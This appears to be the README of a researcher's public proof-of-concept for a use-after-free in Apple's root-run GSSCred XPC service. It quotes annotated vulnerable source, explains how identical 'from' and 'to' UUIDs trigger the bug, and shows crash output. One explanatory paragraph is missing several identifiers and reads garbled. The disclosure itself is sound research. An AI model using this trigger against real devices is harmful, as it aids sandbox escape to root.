GSSCred-move-uaf

The com.apple.GSSCred XPC service, which runs as root on macOS and iOS, does not properly implement the "move" command, leading to a use-after-free condition in the do_Move function. The GSSCred service can be reached from within the default application sandbox on iOS.

This program leverages the vulnerability in order to crash the GSSCred service. Achieving code execution in GSSCred hinges on overwriting the freed memory with controlled data during the race window. Tested on macOS High Sierra 10.13.2 Beta 17C79a.

The vulnerability

Here are the relevant parts of do_Move from Heimdal-520, with some unimportant error-checking omitted:

//
// 1. from and to are fully controlled UUID objects deserialized from the XPC request.
//
CFUUIDRef from = HeimCredMessageCopyAttributes(request, "from", CFUUIDGetTypeID());
CFUUIDRef to = HeimCredMessageCopyAttributes(request, "to", CFUUIDGetTypeID());
...
//
// 2. credfrom and credto are HeimCredRef objects looked up by the from and to UUIDs.
//    CFDictionaryGetValue() returns the objects without adding a reference. Note that if
//    the from and to UUIDs are the same, then credfrom and credto will both reference the
//    same object.
//
HeimCredRef credfrom = (HeimCredRef)CFDictionaryGetValue(peer->session->items, from);
HeimCredRef credto = (HeimCredRef)CFDictionaryGetValue(peer->session->items, to);
...
//
// 3. credfrom is removed from the dictionary. Since there was only one reference
//    outstanding, this causes credfrom to be freed.
//
CFMutableDictionaryRef newattrs = CFDictionaryCreateMutableCopy(NULL, 0, credfrom->attributes);
CFDictionaryRemoveValue(peer->session->items, from);
credfrom = NULL;
...
//
// 4. At this point we check credto. If credfrom and credto refer to the same object, then 
//    credto is a non-NULL pointer to the freed HeimCredRef object.
//
if (credto == NULL) {
	...
} else {
	//
	// 5. Now we dereference credto, passing a value read from freed memory as a
	//    CFDictionaryRef object to CFDictionaryGetValue().
	//
	CFUUIDRef parentUUID = CFDictionaryGetValue(credto->attributes, kHEIMAttrParentCredential);
	...
}

This code does the following:

It deserializes two UUIDs, from and to, from the XPC request. The request is completely controlled, so we can set the values of these UUIDs arbitrarily. There is no check of whether these two UUIDs are the same.
It looks up the HeimCredRef objects, credfrom and credto, corresponding to the respective UUIDs from and to. The peer->session->items dictionary stores all the credentials managed by GSSCred on behalf of the currently connected client program. Note that the function CFDictionaryGetValue returns a reference to the HeimCredRef objects, but does not increase their reference count. In particular, if from and to are the same UUID, then credfrom and credto will both point to the same HeimCredRef with a reference count of 1 (held by the containing CFDictionary).
Next is removed from the dictionary. This is usually safe, because when and are different UUIDs, the object will be freed and then is never referenced again. However, when and are the same, there will be problems, since is referenced later.

This program does not attempt to win this race window. Instead, it lets the destructor for HeimCredRef zero out the attributes field, triggering a NULL pointer dereference in CFDictionaryGetValue.

Usage

To build, run make. See the top of the Makefile for various build options.

Running the exploit will show the sequence of XPC messages exchanged with GSSCred:

$ ./GSSCred-move-uaf
create: <dictionary: 0x7ff359e07740> { count = 1, transaction: 0, voucher = 0x0, contents =
        "attributes" => <dictionary: 0x7ff359e06b60> { count = 5, transaction: 0, voucher = 0x0, contents =
                "kHEIMObjectType" => <string: 0x7ff359e06a00> { length = 19, contents = "kHEIMObjectKerberos" }
                "kHEIMAttrBundleIdentifierACL" => <array: 0x7ff359e06a70> { count = 1, capacity = 1, contents =
                        0: <string: 0x7ff359e06aa0> { length = 1, contents = "*" }
                }
                "kHEIMAttrUUID" => <uuid: 0x7ff359e06b20> AB000000-0000-0000-0000-000000000000
                "kHEIMAttrStoreTime" => <date: 0x7ff359e06c60> Sat Dec 09 15:09:56 2017 PST (approx)
                "kHEIMAttrType" => <string: 0x7ff359e06ce0> { length = 17, contents = "kHEIMTypeKerberos" }
        }
}
Event: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
        "XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
move: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
        "XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}

The "Connection interrupted" XPC events indicate that the XPC connection was interrupted, likely because GSSCred died.

License

The GSSCred-move-uaf code is released into the public domain. As a courtesy I ask that if you reference or use any of this code you attribute it to me.

gsscred-move-uaf

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